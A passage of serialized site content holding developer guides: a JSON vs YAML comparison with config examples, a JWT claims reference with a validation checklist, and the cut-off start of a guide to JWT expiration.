Understanding when to use each can save you hours of debugging and rework.",[11,137328,137330],{"id":137329},"syntax-comparison","Syntax Comparison",[193,137332,137333,137343],{},[196,137334,137335],{},[199,137336,137337,137339,137341],{},[202,137338,5867],{},[202,137340,13411],{},[202,137342,36926],{},[211,137344,137345,137355,137367,137384,137398,137408,137419,137430,137438],{},[199,137346,137347,137350,137353],{},[216,137348,137349],{},"Syntax style",[216,137351,137352],{},"Braces and brackets",[216,137354,84613],{},[199,137356,137357,137359,137362],{},[216,137358,36954],{},[216,137360,137361],{},"❌ Not supported",[216,137363,36960,137364,137366],{},[143,137365,6852],{}," for inline comments",[199,137368,137369,137371,137377],{},[216,137370,36995],{},[216,137372,137373,137374,137376],{},"❌ Use ",[143,137375,8222],{}," escapes",[216,137378,36960,137379,1856,137381,137383],{},[143,137380,7334],{},[143,137382,28226],{}," operators",[199,137385,137386,137389,137392],{},[216,137387,137388],{},"Multiple documents",[216,137390,137391],{},"❌ One per file",[216,137393,36960,137394,137397],{},[143,137395,137396],{},"---"," separator",[199,137399,137400,137403,137405],{},[216,137401,137402],{},"Quoted keys",[216,137404,47400],{},[216,137406,137407],{},"Optional for simple keys",[199,137409,137410,137413,137416],{},[216,137411,137412],{},"Trailing commas",[216,137414,137415],{},"❌ Syntax error",[216,137417,137418],{},"✅ Allowed",[199,137420,137421,137424,137427],{},[216,137422,137423],{},"Parsing speed",[216,137425,137426],{},"Fast (native in JS)",[216,137428,137429],{},"Slower (complex grammar)",[199,137431,137432,137434,137436],{},[216,137433,84618],{},[216,137435,15457],{},[216,137437,15446],{},[199,137439,137440,137443,137445],{},[216,137441,137442],{},"Tool support",[216,137444,5921],{},[216,137446,137447],{},"Wide but not universal",[11,137449,137451],{"id":137450},"json-example","JSON Example",[135,137453,137455],{"className":23484,"code":137454,"language":23486,"meta":141,"style":141},"{\n  \"server\": {\n    \"port\": 3000,\n    \"host\": \"localhost\"\n  },\n  \"database\": {\n    \"url\": \"postgres:\u002F\u002Flocalhost:5432\u002Fmyapp\",\n    \"pool_size\": 10\n  },\n  \"logging\": {\n    \"level\": \"info\",\n    \"format\": \"json\"\n  }\n}\n",[143,137456,137457,137461,137468,137478,137487,137491,137497,137509,137518,137522,137529,137540,137550,137554],{"__ignoreMap":141},[1560,137458,137459],{"class":1562,"line":1563},[1560,137460,23493],{"class":1570},[1560,137462,137463,137466],{"class":1562,"line":337},[1560,137464,137465],{"class":1576},"  \"server\"",[1560,137467,37098],{"class":1570},[1560,137469,137470,137472,137474,137476],{"class":1562,"line":343},[1560,137471,37115],{"class":1576},[1560,137473,1663],{"class":1570},[1560,137475,37120],{"class":1576},[1560,137477,11943],{"class":1570},[1560,137479,137480,137482,137484],{"class":1562,"line":365},[1560,137481,37148],{"class":1576},[1560,137483,1663],{"class":1570},[1560,137485,137486],{"class":5634},"\"localhost\"\n",[1560,137488,137489],{"class":1562,"line":889},[1560,137490,11862],{"class":1570},[1560,137492,137493,137495],{"class":1562,"line":1710},[1560,137494,37141],{"class":1576},[1560,137496,37098],{"class":1570},[1560,137498,137499,137502,137504,137507],{"class":1562,"line":1717},[1560,137500,137501],{"class":1576},"    \"url\"",[1560,137503,1663],{"class":1570},[1560,137505,137506],{"class":5634},"\"postgres:\u002F\u002Flocalhost:5432\u002Fmyapp\"",[1560,137508,11943],{"class":1570},[1560,137510,137511,137514,137516],{"class":1562,"line":1747},[1560,137512,137513],{"class":1576},"    \"pool_size\"",[1560,137515,1663],{"class":1570},[1560,137517,90870],{"class":1576},[1560,137519,137520],{"class":1562,"line":2507},[1560,137521,11862],{"class":1570},[1560,137523,137524,137527],{"class":1562,"line":2524},[1560,137525,137526],{"class":1576},"  \"logging\"",[1560,137528,37098],{"class":1570},[1560,137530,137531,137533,137535,137538],{"class":1562,"line":2529},[1560,137532,81856],{"class":1576},[1560,137534,1663],{"class":1570},[1560,137536,137537],{"class":5634},"\"info\"",[1560,137539,11943],{"class":1570},[1560,137541,137542,137545,137547],{"class":1562,"line":2534},[1560,137543,137544],{"class":1576},"    \"format\"",[1560,137546,1663],{"class":1570},[1560,137548,137549],{"class":5634},"\"json\"\n",[1560,137551,137552],{"class":1562,"line":2542},[1560,137553,4959],{"class":1570},[1560,137555,137556],{"class":1562,"line":2558},[1560,137557,1585],{"class":1570},[11,137559,137561],{"id":137560},"yaml-example","YAML Example",[16,137563,137564],{},"The same data in YAML:",[135,137566,137568],{"className":37227,"code":137567,"language":37229,"meta":141,"style":141},"server:\n  port: 3000\n  host: localhost\n\ndatabase:\n  url: \"postgres:\u002F\u002Flocalhost:5432\u002Fmyapp\"\n  pool_size: 10\n\n# Logging configuration\nlogging:\n  level: info\n  format: json\n",[143,137569,137570,137577,137585,137593,137597,137603,137613,137622,137626,137631,137638,137648],{"__ignoreMap":141},[1560,137571,137572,137575],{"class":1562,"line":1563},[1560,137573,137574],{"class":2484},"server",[1560,137576,19182],{"class":1570},[1560,137578,137579,137581,137583],{"class":1562,"line":337},[1560,137580,37253],{"class":2484},[1560,137582,1663],{"class":1570},[1560,137584,37258],{"class":1576},[1560,137586,137587,137589,137591],{"class":1562,"line":343},[1560,137588,37288],{"class":2484},[1560,137590,1663],{"class":1570},[1560,137592,37293],{"class":5634},[1560,137594,137595],{"class":1562,"line":365},[1560,137596,1702],{"emptyLinePlaceholder":363},[1560,137598,137599,137601],{"class":1562,"line":889},[1560,137600,37281],{"class":2484},[1560,137602,19182],{"class":1570},[1560,137604,137605,137608,137610],{"class":1562,"line":1710},[1560,137606,137607],{"class":2484},"  url",[1560,137609,1663],{"class":1570},[1560,137611,137612],{"class":5634},"\"postgres:\u002F\u002Flocalhost:5432\u002Fmyapp\"\n",[1560,137614,137615,137618,137620],{"class":1562,"line":1717},[1560,137616,137617],{"class":2484},"  pool_size",[1560,137619,1663],{"class":1570},[1560,137621,90870],{"class":1576},[1560,137623,137624],{"class":1562,"line":1747},[1560,137625,1702],{"emptyLinePlaceholder":363},[1560,137627,137628],{"class":1562,"line":2507},[1560,137629,137630],{"class":1649},"# Logging configuration\n",[1560,137632,137633,137636],{"class":1562,"line":2524},[1560,137634,137635],{"class":2484},"logging",[1560,137637,19182],{"class":1570},[1560,137639,137640,137643,137645],{"class":1562,"line":2529},[1560,137641,137642],{"class":2484},"  level",[1560,137644,1663],{"class":1570},[1560,137646,137647],{"class":5634},"info\n",[1560,137649,137650,137653,137655],{"class":1562,"line":2534},[1560,137651,137652],{"class":2484},"  format",[1560,137654,1663],{"class":1570},[1560,137656,137657],{"class":5634},"json\n",[16,137659,137660],{},"Notice how YAML drops the braces, quotes, and commas entirely. The indentation alone defines the structure.",[11,137662,137664],{"id":137663},"when-to-choose-json","When to Choose JSON",[16,137666,137667],{},"JSON excels in scenarios where machines are the primary consumers:",[41,137669,137670,137676,137688,137694],{},[44,137671,137672,137675],{},[47,137673,137674],{},"REST APIs"," — Every major framework expects JSON request and response bodies.",[44,137677,137678,23567,137681,1856,137684,137687],{},[47,137679,137680],{},"Web applications",[143,137682,137683],{},"JSON.parse()",[143,137685,137686],{},"JSON.stringify()"," are built into every browser.",[44,137689,137690,137693],{},[47,137691,137692],{},"Database storage"," — MongoDB, PostgreSQL (JSONB), and many others store JSON natively.",[44,137695,137696,137699],{},[47,137697,137698],{},"Interoperability"," — Every programming language has a mature JSON parser.",[16,137701,137702],{},"JSON's strictness is a feature, not a flaw. The lack of comments forces you to document configuration externally, and the rigid syntax catches errors early during parsing.",[11,137704,137706],{"id":137705},"when-to-choose-yaml","When to Choose YAML",[16,137708,137709],{},"YAML shines when humans write and maintain the file:",[41,137711,137712,137717,137723,137729],{},[44,137713,137714,137716],{},[47,137715,37531],{}," — GitHub Actions, GitLab CI, and CircleCI all use YAML.",[44,137718,137719,137722],{},[47,137720,137721],{},"Container orchestration"," — Kubernetes manifests, Docker Compose files.",[44,137724,137725,137728],{},[47,137726,137727],{},"Application configuration"," — Rails, Spring Boot, and many frameworks accept YAML configs.",[44,137730,137731,137734],{},[47,137732,137733],{},"Complex nested data"," — Anchors and aliases reduce repetition (more on this below).",[16,137736,137737,137738,137741,137742,137744],{},"Comments make YAML ideal for configuration files. You can explain ",[7310,137739,137740],{},"why"," a value is set, not just ",[7310,137743,78029],{}," it is.",[11,137746,137748],{"id":137747},"anchors-and-aliases-in-yaml","Anchors and Aliases in YAML",[16,137750,137751,137752,137754,137755,137757],{},"YAML supports anchors (",[143,137753,13530],{},") and aliases (",[143,137756,8069],{},") to reuse fragments of data — a feature JSON has no equivalent for:",[135,137759,137761],{"className":37227,"code":137760,"language":37229,"meta":141,"style":141},"defaults: &defaults\n  timeout: 30\n  retries: 3\n  logging: true\n\nproduction:\n  \u003C\u003C: *defaults\n  timeout: 60\n  retries: 10\n\nstaging:\n  \u003C\u003C: *defaults\n  timeout: 45\n",[143,137762,137763,137775,137785,137795,137804,137808,137815,137826,137835,137843,137847,137854,137864],{"__ignoreMap":141},[1560,137764,137765,137768,137770,137772],{"class":1562,"line":1563},[1560,137766,137767],{"class":2484},"defaults",[1560,137769,1663],{"class":1570},[1560,137771,13530],{"class":1669},[1560,137773,137774],{"class":1566},"defaults\n",[1560,137776,137777,137780,137782],{"class":1562,"line":337},[1560,137778,137779],{"class":2484},"  timeout",[1560,137781,1663],{"class":1570},[1560,137783,137784],{"class":1576},"30\n",[1560,137786,137787,137790,137792],{"class":1562,"line":343},[1560,137788,137789],{"class":2484},"  retries",[1560,137791,1663],{"class":1570},[1560,137793,137794],{"class":1576},"3\n",[1560,137796,137797,137800,137802],{"class":1562,"line":365},[1560,137798,137799],{"class":2484},"  logging",[1560,137801,1663],{"class":1570},[1560,137803,23527],{"class":1576},[1560,137805,137806],{"class":1562,"line":889},[1560,137807,1702],{"emptyLinePlaceholder":363},[1560,137809,137810,137813],{"class":1562,"line":1710},[1560,137811,137812],{"class":2484},"production",[1560,137814,19182],{"class":1570},[1560,137816,137817,137820,137822,137824],{"class":1562,"line":1717},[1560,137818,137819],{"class":1576},"  \u003C\u003C",[1560,137821,1663],{"class":1570},[1560,137823,8069],{"class":1669},[1560,137825,137774],{"class":1570},[1560,137827,137828,137830,137832],{"class":1562,"line":1747},[1560,137829,137779],{"class":2484},[1560,137831,1663],{"class":1570},[1560,137833,137834],{"class":1576},"60\n",[1560,137836,137837,137839,137841],{"class":1562,"line":2507},[1560,137838,137789],{"class":2484},[1560,137840,1663],{"class":1570},[1560,137842,90870],{"class":1576},[1560,137844,137845],{"class":1562,"line":2524},[1560,137846,1702],{"emptyLinePlaceholder":363},[1560,137848,137849,137852],{"class":1562,"line":2529},[1560,137850,137851],{"class":2484},"staging",[1560,137853,19182],{"class":1570},[1560,137855,137856,137858,137860,137862],{"class":1562,"line":2534},[1560,137857,137819],{"class":1576},[1560,137859,1663],{"class":1570},[1560,137861,8069],{"class":1669},[1560,137863,137774],{"class":1570},[1560,137865,137866,137868,137870],{"class":1562,"line":2542},[1560,137867,137779],{"class":2484},[1560,137869,1663],{"class":1570},[1560,137871,137872],{"class":1576},"45\n",[16,137874,61185,137875,137878,137879,137882],{},[143,137876,137877],{},"&defaults"," defines a reusable block, and ",[143,137880,137881],{},"\u003C\u003C: *defaults"," merges it into another mapping. This drastically reduces duplication in large configuration files.",[16,137884,137885,137888],{},[47,137886,137887],{},"Important:"," When you convert YAML with anchors to JSON, the anchors are expanded inline. JSON has no concept of references, so the deduplication is lost.",[11,137890,137892],{"id":137891},"conversion-gotchas","Conversion Gotchas",[16,137894,137895],{},"Converting between JSON and YAML seems straightforward, but watch for these pitfalls:",[41,137897,137898,137904,137917,137923,137939],{},[44,137899,137900,137903],{},[47,137901,137902],{},"YAML anchors"," expand into duplicated content in JSON.",[44,137905,137906,5181,137909,1856,137911,137913,137914,137916],{},[47,137907,137908],{},"YAML multiline strings",[143,137910,7334],{},[143,137912,28226],{},") become escaped ",[143,137915,8222],{}," sequences in JSON.",[44,137918,137919,137922],{},[47,137920,137921],{},"YAML comments"," are silently dropped during conversion.",[44,137924,137925,137928,137929,1459,137931,1459,137933,1466,137935,137938],{},[47,137926,137927],{},"YAML's relaxed quoting"," means strings like ",[143,137930,20533],{},[143,137932,13730],{},[143,137934,80702],{},[143,137936,137937],{},"123"," are parsed as their respective types unless quoted. JSON always treats them as strings when quoted.",[44,137940,137941,137944,137945,137947],{},[47,137942,137943],{},"Multiple YAML documents"," (separated by ",[143,137946,137396],{},") require multiple JSON files or an array wrapper.",[16,137949,137950],{},"Always validate after conversion. A small quoting mistake in YAML can change a string into a boolean or number silently.",[11,137952,137954],{"id":137953},"choosing-between-json-and-yaml","Choosing Between JSON and YAML",[16,137956,137957],{},"Use this decision tree to pick the right format:",[193,137959,137960,137972],{},[196,137961,137962],{},[199,137963,137964,137966,137969],{},[202,137965,5029],{},[202,137967,137968],{},"If Yes",[202,137970,137971],{},"If No",[211,137973,137974,137986,137997,138008,138019],{},[199,137975,137976,137979,137983],{},[216,137977,137978],{},"Is the data consumed by APIs or services?",[216,137980,137981],{},[47,137982,13411],{},[216,137984,137985],{},"Continue",[199,137987,137988,137991,137995],{},[216,137989,137990],{},"Do humans edit this file regularly?",[216,137992,137993],{},[47,137994,36926],{},[216,137996,137985],{},[199,137998,137999,138002,138006],{},[216,138000,138001],{},"Do you need comments in the file?",[216,138003,138004],{},[47,138005,36926],{},[216,138007,137985],{},[199,138009,138010,138013,138017],{},[216,138011,138012],{},"Is parsing speed critical?",[216,138014,138015],{},[47,138016,13411],{},[216,138018,137985],{},[199,138020,138021,138024,138028],{},[216,138022,138023],{},"Do you need anchors or aliases?",[216,138025,138026],{},[47,138027,36926],{},[216,138029,138030],{},[47,138031,13411],{},[16,138033,138034,138037],{},[47,138035,138036],{},"Quick rule of thumb:"," If a machine writes it and a machine reads it, use JSON. If a human writes it and a machine reads it, use YAML.",[11,138039,1355],{"id":1354},[41,138041,138042,138045,138048,138051,138061],{},[44,138043,138044],{},"JSON parses faster and has universal tool support — choose it for APIs and data interchange.",[44,138046,138047],{},"YAML is more readable and supports comments, multiline strings, and anchors — choose it for configuration.",[44,138049,138050],{},"YAML anchors and aliases have no direct JSON equivalent; they expand on conversion.",[44,138052,138053,138054,1459,138056,1459,138058,138060],{},"Always quote special YAML values (",[143,138055,20533],{},[143,138057,13730],{},[143,138059,80702],{},", numeric strings) to avoid silent type coercion.",[44,138062,138063],{},"Validate your files after any format conversion to catch quoting and structural issues.",[11,138065,286],{"id":285},[16,138067,138068],{},"Ready to convert between formats? Try these tools:",[41,138070,138071,138076],{},[44,138072,138073,138075],{},[98,138074,37770],{"href":37769}," — Convert JSON to YAML and back in one click",[44,138077,138078,138080],{},[98,138079,37777],{"href":37776}," — Validate and pretty-print your JSON",[11,138082,321],{"id":320},[41,138084,138085,138090],{},[44,138086,138087,138089],{},[98,138088,37795],{"href":37794}," — Deep dive into YAML scalars, lists, anchors, and pitfalls",[44,138091,138092,138095],{},[98,138093,138094],{"href":37817},"Configuration File Formats"," — Compare JSON, YAML, TOML, and INI",[2043,138097,138098],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":138100},[138101,138102,138103,138104,138105,138106,138107,138108,138109,138110,138111,138112],{"id":137319,"depth":337,"text":137320},{"id":137329,"depth":337,"text":137330},{"id":137450,"depth":337,"text":137451},{"id":137560,"depth":337,"text":137561},{"id":137663,"depth":337,"text":137664},{"id":137705,"depth":337,"text":137706},{"id":137747,"depth":337,"text":137748},{"id":137891,"depth":337,"text":137892},{"id":137953,"depth":337,"text":137954},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare JSON and YAML — syntax differences, use cases, performance, and when to choose each format for your project.",{"immutable":363},{"title":137314,"description":138113},"guides\u002Fjson-vs-yaml","Ws4NPoaptisTvBEQwjyXonMk2N2jrHZufqW0ODpesqE",{"id":138119,"title":138120,"body":138121,"date":2070,"description":138688,"extension":361,"meta":138689,"navigation":363,"path":138690,"readingTime":1710,"seo":138691,"stem":138692,"__hash__":138693},"guides\u002Fguides\u002Fjwt-claims-reference.md","JWT Claims Reference Guide",{"type":8,"value":138122,"toc":138680},[138123,138126,138130,138133,138266,138270,138282,138293,138312,138326,138334,138348,138362,138366,138369,138489,138502,138506,138509,138600,138603,138623,138627,138630,138668,138671,138678],[16,138124,138125],{},"JWT claims are the key-value pairs that carry information inside a token. Some claims are standardized by the IETF and have defined semantics. Others are registered with IANA for interoperability. The rest are custom claims defined by your application. Knowing which claims to use—and how—helps you build tokens that are secure, interoperable, and easy to debug.",[11,138127,138129],{"id":138128},"registered-claims","Registered Claims",[16,138131,138132],{},"These seven claims are defined in RFC 7519. All have three-letter keys to keep tokens compact.",[193,138134,138135,138148],{},[196,138136,138137],{},[199,138138,138139,138142,138144,138146],{},[202,138140,138141],{},"Claim",[202,138143,21954],{},[202,138145,2758],{},[202,138147,133],{},[211,138149,138150,138166,138184,138200,138216,138232,138248],{},[199,138151,138152,138156,138158,138161],{},[216,138153,138154],{},[143,138155,90028],{},[216,138157,90973],{},[216,138159,138160],{},"Identifies the principal that issued the token",[216,138162,138163],{},[143,138164,138165],{},"auth.example.com",[199,138167,138168,138173,138176,138179],{},[216,138169,138170],{},[143,138171,138172],{},"sub",[216,138174,138175],{},"Subject",[216,138177,138178],{},"Identifies the principal that is the subject of the token",[216,138180,138181],{},[143,138182,138183],{},"user-42",[199,138185,138186,138190,138192,138195],{},[216,138187,138188],{},[143,138189,90034],{},[216,138191,90982],{},[216,138193,138194],{},"Identifies the recipients the token is intended for",[216,138196,138197],{},[143,138198,138199],{},"api.example.com",[199,138201,138202,138206,138208,138211],{},[216,138203,138204],{},[143,138205,90022],{},[216,138207,90955],{},[216,138209,138210],{},"NumericDate after which the token must not be accepted",[216,138212,138213],{},[143,138214,138215],{},"1716940800",[199,138217,138218,138222,138224,138227],{},[216,138219,138220],{},[143,138221,90967],{},[216,138223,90964],{},[216,138225,138226],{},"NumericDate before which the token must not be accepted",[216,138228,138229],{},[143,138230,138231],{},"1716937200",[199,138233,138234,138238,138241,138244],{},[216,138235,138236],{},[143,138237,90040],{},[216,138239,138240],{},"Issued At",[216,138242,138243],{},"NumericDate at which the token was issued",[216,138245,138246],{},[143,138247,138231],{},[199,138249,138250,138255,138258,138261],{},[216,138251,138252],{},[143,138253,138254],{},"jti",[216,138256,138257],{},"JWT ID",[216,138259,138260],{},"Unique identifier for the token (for revocation)",[216,138262,138263],{},[143,138264,138265],{},"a1b2c3d4-e5f6-7890",[33,138267,138269],{"id":138268},"how-each-is-used","How Each Is Used",[16,138271,138272,138275,138276,138278,138279,138281],{},[47,138273,138274],{},"iss (Issuer):"," The ",[143,138277,90028],{}," claim lets consumers verify that the token came from a trusted authority. When validating, compare the ",[143,138280,90028],{}," value against a list of trusted issuers. This prevents token confusion attacks where a token issued by one service is accepted by another.",[16,138283,138284,138275,138287,138289,138290,138292],{},[47,138285,138286],{},"sub (Subject):",[143,138288,138172],{}," claim identifies the user or entity the token represents. It should be a unique, stable identifier—ideally a UUID rather than an email address, which can change. The ",[143,138291,138172],{}," claim must be unique within the scope of the issuer.",[16,138294,138295,138275,138298,138300,138301,138304,138305,138308,138309,138311],{},[47,138296,138297],{},"aud (Audience):",[143,138299,90034],{}," claim specifies which services should accept the token. A token with ",[143,138302,138303],{},"aud: \"api.example.com\""," should be rejected by ",[143,138306,138307],{},"analytics.example.com",". Always validate ",[143,138310,90034],{}," on the consuming side to prevent cross-service token reuse.",[16,138313,138314,138275,138317,138319,138320,138322,138323,138325],{},[47,138315,138316],{},"exp (Expiration):",[143,138318,90022],{}," claim is the most critical security constraint. Tokens without ",[143,138321,90022],{}," never expire, creating indefinite attack windows. Always set ",[143,138324,90022],{}," and always validate it. Allow 30–60 seconds of clock skew tolerance.",[16,138327,138328,138275,138331,138333],{},[47,138329,138330],{},"nbf (Not Before):",[143,138332,90967],{}," claim prevents tokens from being used before a specific time. Useful for scheduled token activation or tokens issued in advance for future use.",[16,138335,138336,138275,138339,138341,138342,138344,138345,138347],{},[47,138337,138338],{},"iat (Issued At):",[143,138340,90040],{}," claim enables age-based policies. For example, reject access tokens older than 15 minutes regardless of ",[143,138343,90022],{},", or force re-authentication for sensitive operations if ",[143,138346,90040],{}," is more than 5 minutes ago.",[16,138349,138350,138275,138353,138355,138356,138358,138359,138361],{},[47,138351,138352],{},"jti (JWT ID):",[143,138354,138254],{}," claim provides a unique token identifier. Use it for token revocation—store the ",[143,138357,138254],{}," of revoked tokens in a blocklist, or track issued ",[143,138360,138254],{}," values to detect token reuse.",[11,138363,138365],{"id":138364},"public-claims","Public Claims",[16,138367,138368],{},"Public claims are registered with IANA to avoid naming collisions between different systems. You can view the full registry at the IANA JWT Claims Registry. Commonly used public claims include:",[193,138370,138371,138379],{},[196,138372,138373],{},[199,138374,138375,138377],{},[202,138376,138141],{},[202,138378,2758],{},[211,138380,138381,138390,138399,138409,138419,138429,138439,138449,138459,138469,138479],{},[199,138382,138383,138387],{},[216,138384,138385],{},[143,138386,82747],{},[216,138388,138389],{},"Full name of the subject",[199,138391,138392,138396],{},[216,138393,138394],{},[143,138395,97853],{},[216,138397,138398],{},"Email address",[199,138400,138401,138406],{},[216,138402,138403],{},[143,138404,138405],{},"role",[216,138407,138408],{},"Application role",[199,138410,138411,138416],{},[216,138412,138413],{},[143,138414,138415],{},"scope",[216,138417,138418],{},"Space-separated list of scopes (OAuth 2.0)",[199,138420,138421,138426],{},[216,138422,138423],{},[143,138424,138425],{},"azp",[216,138427,138428],{},"Authorized party—the client the token was issued to",[199,138430,138431,138436],{},[216,138432,138433],{},[143,138434,138435],{},"nonce",[216,138437,138438],{},"Value to associate the token with a specific request (OIDC)",[199,138440,138441,138446],{},[216,138442,138443],{},[143,138444,138445],{},"auth_time",[216,138447,138448],{},"Time when the user authenticated",[199,138450,138451,138456],{},[216,138452,138453],{},[143,138454,138455],{},"acr",[216,138457,138458],{},"Authentication Context Class Reference",[199,138460,138461,138466],{},[216,138462,138463],{},[143,138464,138465],{},"amr",[216,138467,138468],{},"Authentication Methods References",[199,138470,138471,138476],{},[216,138472,138473],{},[143,138474,138475],{},"at_hash",[216,138477,138478],{},"Access token hash (for ID tokens)",[199,138480,138481,138486],{},[216,138482,138483],{},[143,138484,138485],{},"c_hash",[216,138487,138488],{},"Authorization code hash (for ID tokens)",[16,138490,421,138491,1856,138493,138495,138496,138498,138499,138501],{},[143,138492,138415],{},[143,138494,138425],{}," claims are particularly important in OAuth 2.0 \u002F OpenID Connect flows. The ",[143,138497,138415],{}," claim defines what the token holder can do, while ",[143,138500,138425],{}," identifies which client application requested the token.",[11,138503,138505],{"id":138504},"private-claims","Private Claims",[16,138507,138508],{},"Private claims are custom key-value pairs defined by your application. They carry domain-specific data but risk naming collisions if two applications use the same key for different purposes.",[135,138510,138512],{"className":23484,"code":138511,"language":23486,"meta":141,"style":141},"{\n  \"sub\": \"user-42\",\n  \"role\": \"admin\",\n  \"tenant_id\": \"acme-corp\",\n  \"permissions\": [\"read:reports\", \"write:reports\", \"delete:users\"],\n  \"department\": \"engineering\",\n  \"session_id\": \"s_abc123\"\n}\n",[143,138513,138514,138518,138530,138540,138552,138574,138586,138596],{"__ignoreMap":141},[1560,138515,138516],{"class":1562,"line":1563},[1560,138517,23493],{"class":1570},[1560,138519,138520,138523,138525,138528],{"class":1562,"line":337},[1560,138521,138522],{"class":1576},"  \"sub\"",[1560,138524,1663],{"class":1570},[1560,138526,138527],{"class":5634},"\"user-42\"",[1560,138529,11943],{"class":1570},[1560,138531,138532,138534,138536,138538],{"class":1562,"line":343},[1560,138533,81838],{"class":1576},[1560,138535,1663],{"class":1570},[1560,138537,81849],{"class":5634},[1560,138539,11943],{"class":1570},[1560,138541,138542,138545,138547,138550],{"class":1562,"line":365},[1560,138543,138544],{"class":1576},"  \"tenant_id\"",[1560,138546,1663],{"class":1570},[1560,138548,138549],{"class":5634},"\"acme-corp\"",[1560,138551,11943],{"class":1570},[1560,138553,138554,138557,138559,138562,138564,138567,138569,138572],{"class":1562,"line":889},[1560,138555,138556],{"class":1576},"  \"permissions\"",[1560,138558,37187],{"class":1570},[1560,138560,138561],{"class":5634},"\"read:reports\"",[1560,138563,1459],{"class":1570},[1560,138565,138566],{"class":5634},"\"write:reports\"",[1560,138568,1459],{"class":1570},[1560,138570,138571],{"class":5634},"\"delete:users\"",[1560,138573,12044],{"class":1570},[1560,138575,138576,138579,138581,138584],{"class":1562,"line":1710},[1560,138577,138578],{"class":1576},"  \"department\"",[1560,138580,1663],{"class":1570},[1560,138582,138583],{"class":5634},"\"engineering\"",[1560,138585,11943],{"class":1570},[1560,138587,138588,138591,138593],{"class":1562,"line":1717},[1560,138589,138590],{"class":1576},"  \"session_id\"",[1560,138592,1663],{"class":1570},[1560,138594,138595],{"class":5634},"\"s_abc123\"\n",[1560,138597,138598],{"class":1562,"line":1747},[1560,138599,1585],{"class":1570},[16,138601,138602],{},"Best practices for private claims:",[41,138604,138605,138614,138617,138620],{},[44,138606,138607,138608,55616,138611],{},"Use namespaces or prefixes to avoid collisions: ",[143,138609,138610],{},"myapp:tenant_id",[143,138612,138613],{},"tenant_id",[44,138615,138616],{},"Keep the payload small—every byte increases the token size and HTTP header overhead",[44,138618,138619],{},"Never put sensitive data (passwords, API keys) in claims—JWT payloads are base64-encoded, not encrypted",[44,138621,138622],{},"Validate private claims on the server side—never trust claims enforcement to the client",[11,138624,138626],{"id":138625},"claims-validation-checklist","Claims Validation Checklist",[16,138628,138629],{},"When implementing JWT validation, verify these claims in order:",[77,138631,138632,138637,138642,138647,138652,138657,138662],{},[44,138633,138634,138636],{},[47,138635,90999],{}," — Verify the token's signature using the correct algorithm and key",[44,138638,138639,138641],{},[47,138640,90028],{}," — Match against your trusted issuer list",[44,138643,138644,138646],{},[47,138645,90034],{}," — Match against your service's expected audience",[44,138648,138649,138651],{},[47,138650,90022],{}," — Reject tokens past their expiration (with clock tolerance)",[44,138653,138654,138656],{},[47,138655,90967],{}," — Reject tokens used before their activation time",[44,138658,138659,138661],{},[47,138660,138254],{}," — Check the blocklist for revoked tokens",[44,138663,138664,138667],{},[47,138665,138666],{},"Private claims"," — Validate application-specific claims (role, permissions, tenant)",[16,138669,138670],{},"Skipping any step weakens your security. The signature check prevents tampering, while claim validation prevents misuse of valid tokens in unintended contexts.",[16,138672,138673,138674,138677],{},"For visual inspection of JWT claims, the ",[98,138675,138676],{"href":91042},"JWT Decoder tool"," parses tokens and displays all registered, public, and private claims in a structured format.",[2043,138679,23838],{},{"title":141,"searchDepth":337,"depth":337,"links":138681},[138682,138685,138686,138687],{"id":138128,"depth":337,"text":138129,"children":138683},[138684],{"id":138268,"depth":343,"text":138269},{"id":138364,"depth":337,"text":138365},{"id":138504,"depth":337,"text":138505},{"id":138625,"depth":337,"text":138626},"Complete reference of registered, public, and private JWT claims with usage examples.",{},"\u002Fguides\u002Fjwt-claims-reference",{"title":138120,"description":138688},"guides\u002Fjwt-claims-reference","yRTpVbjuJLIPyExVVPybaIexpXjxX6IPnrABh-OKrKY",{"id":138695,"title":138696,"body":138697,"date":2070,"description":139347,"extension":361,"meta":139348,"navigation":363,"path":139349,"readingTime":1710,"seo":139350,"stem":139351,"__hash__":139352},"guides\u002Fguides\u002Fjwt-token-expiration.md","JWT Token Expiration Best Practices",{"type":8,"value":138698,"toc":139340},[138699,138705,138709,138714,138793,138811,138814,138874,138878,138881,138895,138993,138996,139000,139003,139243,139245,139251,139264,139270,139276,139290,139294,139297,139324,139337],[16,138700,138701,138702,138704],{},"JSON Web Tokens (JWTs) carry their own expiration time in the ",[143,138703,90022],{}," claim. This self-contained design is a core strength—any party can verify token validity without querying a central store. But it also creates challenges: once issued, a token cannot be revoked before its expiration, and poorly chosen expiration windows expose your system to abuse. Getting token expiration right requires balancing security, user experience, and operational complexity.",[11,138706,138708],{"id":138707},"setting-the-exp-claim","Setting the exp Claim",[16,138710,421,138711,138713],{},[143,138712,90022],{}," (expiration) claim is a NumericDate value—the number of seconds since the Unix epoch (1970-01-01 00:00:00Z). JWT libraries handle the encoding automatically:",[135,138715,138717],{"className":17509,"code":138716,"language":17511,"meta":141,"style":141},"import jwt from 'jsonwebtoken'\n\nconst token = 